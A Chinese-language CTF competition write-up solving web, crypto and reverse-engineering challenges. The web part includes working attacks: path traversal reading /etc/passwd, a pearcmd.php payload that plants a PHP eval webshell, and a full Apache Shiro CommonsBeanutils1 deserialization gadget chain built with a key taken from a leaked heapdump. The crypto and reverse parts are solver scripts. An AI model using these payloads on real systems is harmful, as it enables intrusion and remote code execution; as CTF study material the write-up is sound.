Web
easywill
发现这里可以进行本地文件包含
http://eci-2zec2ffu8ckzf4ciogou.cloudeci1.ichunqiu.com/?name=cfile&value=…/…/…/…/…/…/etc/passwd
参考下面链接的pearcmd.php的巧妙利用
https://tttang.com/archive/1312/
构造payload
?name=cfile&+config-create+/&value=…/…/…/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[‘cjm’]);?>+/tmp/hello.php
bp抓包
蚁剑连接
Pentest in Autumn
一开始没啥思路,pom里面倒是给了提示
spring框架和一个shiro,但版本1.5太新了,扫目录扫到actuator泄露。之后找到这篇文章
https://www.cnblogs.com/icez/p/Actuator_heapdump_exploit.html
shiro未授权下载heapdump,访问/;/actuator/heapdump
获得密钥
import base64 import struct a=base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb',-115,63,-122,-95,-62,-17,83,49,-93,-50,75,80,-66,-39,45,-56)) print(a)
得到密钥之后参考cb1打shiro,
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
public class ShiroAttack {
public static void main(String[] args) throws Exception{
byte[] code = ClassPool.getDefault().get("com.exp.springecho").toBytecode();
byte[] payloads = cbshiro.getPayload(code);
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("jT+GocLvUzGjzktQvtktyA==");
ByteSource ciphertext = aes.encrypt(payloads,key);
System.out.println(ciphertext.toString());
}
}
把密钥放进去编码出payload
之后尝试弹shell没成功,题目可能不出网,因为spring框架,用spring通用回显
https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
Crypto
from Crypto.Util.number import *
import gmpy2
def continuedFra(x, y):#辗转相除求连分数
cF = []
while y != 0:
cF.append(x // y)
x, y = y, x % y
return cF
def calc_cF(list):
list.reverse()
fenmu = 0
fenzi = 1
for i in list:
fenmu,fenzi = fenzi,fenzi * i + fenmu
return fenmu,fenzi
def exp(x,y):
ans = continuedFra(x,y)
fm = []
fz = []
l = len(ans)
for i in range(l):
m,z = calc_cF(ans)
ans.reverse()
fm.append(m)
fz.append(z)
ans = ans[:-1]
return fm,fz
n1 = 1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
n2 = 1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
e = 0x10001
c1 = 361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2 = 33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394
q2,q1 = exp(n1,n2)
for i in range(len(q2)):
_q2 = q2[i]
_q1 = q1[i]
if n2 % _q2 == 0 and n1 % _q1 == 0 and _q1 != 1 and _q2 != 1 and _q1 != n1 and _q2 != n2:
print(_q1,_q2)
break
_q1 = 181856133933383097933223133658050179553
_q2 = 196443958511498599913330690975430421229
p1 = n1 // _q1
p2 = n2 // _q2
p1 = gmpy2.iroot(p1,4)[0]
p2 = gmpy2.iroot(p2,4)[0]
n1 = p1 * _q1
n2 = p2 * _q2
phi1 = (p1 - 1) * (_q1 - 1)
phi2 = (p2 - 1) * (_q2 - 1)
d1 = gmpy2.invert(e,phi1)
d2 = gmpy2.invert(e,phi2)
m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)
print(long_to_bytes(m1) + long_to_bytes(m2))
第2个
from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES
from pwn import *
HOST = "127.0.0.1"
PORT = "9999"
p = remote(HOST, PORT)
e1, e2 = 65537, 92431
def unBitShiftRightXor(value, shift):
i = 0
while i * shift < 32:
part_mask = ((0xffffffff << (32 - shift)) & 0xffffffff) >> (i * shift)
part = value & part_mask
value ^= part >> shift
i += 1
return value
def unBitShiftLeftXor(value, shift, mask):
i = 0
while i * shift < 32:
part_mask = ((0xffffffff >> (32 - shift)) & 0xffffffff) << (i * shift)
part = value & part_mask
value ^= (part << shift) & mask
i += 1
return value
def getState(number):
number = unBitShiftRightXor(number, 18)
number = unBitShiftLeftXor(number, 15, 0xefc60000)
number = unBitShiftLeftXor(number, 7, 0x9d2c5680)
number = unBitShiftRightXor(number, 11)
return number
def backtrace(numbers):
assert(len(numbers) == 624)
state = []
for number in numbers:
state.append(getState(number))
return state
def getOldStates(states):
for i in range(3, -1, -1):
tmp = states[i + 624] ^ states[i + 397]
if tmp & 0x80000000 == 0x80000000:
tmp ^= 0x9908b0df
res = (tmp & 0x40000000) << 1
tmp = states[i - 1 + 624] ^ states[i + 396]
if tmp & 0x80000000 == 0x80000000:
tmp ^= 0x9908b0df
res |= 1
res |= (tmp & 0x3fffffff) << 1
states[i] = res
def next(states, i):
y = (states[i] & 0x80000000) + (states[(i+1) % 624] & 0x7FFFFFFF)
n = 0x9908b0df if y & 1 else 0
res = states[(i+397) % 624] ^ (y >> 1) ^ n
return res
def xor(x, y):
assert y.bit_length() >= 128
return (x ^ y) ^ (x >> 53)
p.recvuntil(b"Your pubkey is: ")
n = int(p.recvline().decode().strip().replace('L', '')[2:], 16)
outputs = []
for _ in range(78):
p.sendlineafter(b'choice>', b'1')
p.recvline()
p.sendline(hex(pow(10000, e1*e2, n))[2:].encode())
p.recvuntil(b"Your message is (")
message = p.recvline().decode().strip()[:-2].split("L, ")
ListM0, ListM1 = list(), list()
m0 = int(message[0])^pow(10000, e2, n)
for i in range(4):
ListM0.append(m0&((1<<32)-1))
m0 >>= 32
ListM0.reverse()
m1 = int(message[1])^pow(10000, e1, n)
for i in range(4):
ListM1.append(m1&((1<<32)-1))
m1 >>= 32
ListM1.reverse()
outputs = outputs + ListM0 + ListM1
states = [0]*4 + backtrace(outputs)
getOldStates(states)
random.setstate(tuple([3, tuple(states[:624] + [0]), None]))
primate_key = random.getrandbits(128)
[random.getrandbits(32) for i in range(624)]
p.sendlineafter(b'choice>', b'3')
p.recvline()
p.sendline(hex(pow(10000, e1, n))[2:].encode())
p.recvuntil(b"Your cipher is: ")
ciphertext = p.recvline().decode().strip()
t = (pow(pow(10000, e1, n), e1, n), pow(pow(10000, e1, n), e2, n))
cur_rand = random.getrandbits(128)
cur_k = t[cur_rand & 1] ^ cur_rand
key = sha256(long_to_bytes(xor(primate_key, cur_k))).digest()[:16]
aes = AES.new(key, AES.MODE_ECB)
print(aes.decrypt(bytes.fromhex(ciphertext)))
p.close()
Reverse
1、 Hideit
IDA载入,main函数:
真正的内容在程序自带的一段硬编码当中,动调:
找到真正的函数逻辑,将附近涉及到的汇编码dump下来:
IDA载入,定位到刚才的函数:
发现程序对输入进行xxtea加密:
进行解密:
dotitsit
通过比较:
将两处的数据逐位进行异或得flag:
c1 = [0x8D,0xE2,0x3D,0xC2,0x19,0xF2,0x2D,0xCA,0x18,0x14,0xCF,0x52,0x77,0x5A,0x9C,0x13,
0xAA,0xCC,0x04,0x5B,0x92,0xC1,0x0C,0x68,0x45,0x58,0xF9,0x47,0x68,0xD9,0x35,0xC5]
c2 = [0xEB,0x8E,0x5C,0xA5,0x62,0xB4,0x1C,0x84,0x5C,0x59,0xFC,0x0D,0x43,0x3C,0xAB,0x20,
0xD8,0x93,0x33,0x13,0xA1,0x9E,0x39,0x00,0x76,0x14,0xB5,0x04,0x58,0x9D,0x06,0xB8]
for i in range(32):
print(chr(c1[i]^c2[i]),end="")
print()
# flag{F1NDM3_4f73r_7H3_5h3LLC0D3}
2、 shell
IDA载入,看了一下main函数,又是一个自己调试自己的玩意儿。
开始巴拉巴拉一堆,后面设置好线程的上下文后唤醒线程:
摸了一圈,输入应该和sub_140001560里的东西有关
后面就是动调,把程序断在设置线程上下文这里,根据Rip用CE附加shell的子进程去寻找对应的算法和校验:
这个是算法的,简单位运算:
后面根据wrong字符串找到比较的地方:
dump出数据:
dd = []
for k in "1E 15 1B 1C 07 4D 1F 1B 12 17 4B 44 47 58 12 47 58 58 47 5F 54 54 58 42 59 57 50 01 49 51 53 57 3D 6B 3E 6F 3D 6D 6C 3E 69 2C".split(" "):
dd.append(eval("0x"+k))
print(len(dd),dd)
for i in range(42):
for j in range(256):
D = j
C = i
B = (C&D)^0xFF
F = (D&B)^0xFF
E = (C&B)^0xFF
vb = (E&F)^0xFF
if vb == dd[i]:
print(chr(j^0x78),end="")
# flag{0adbf973-d001-4896-962b-450e2d4a02a9}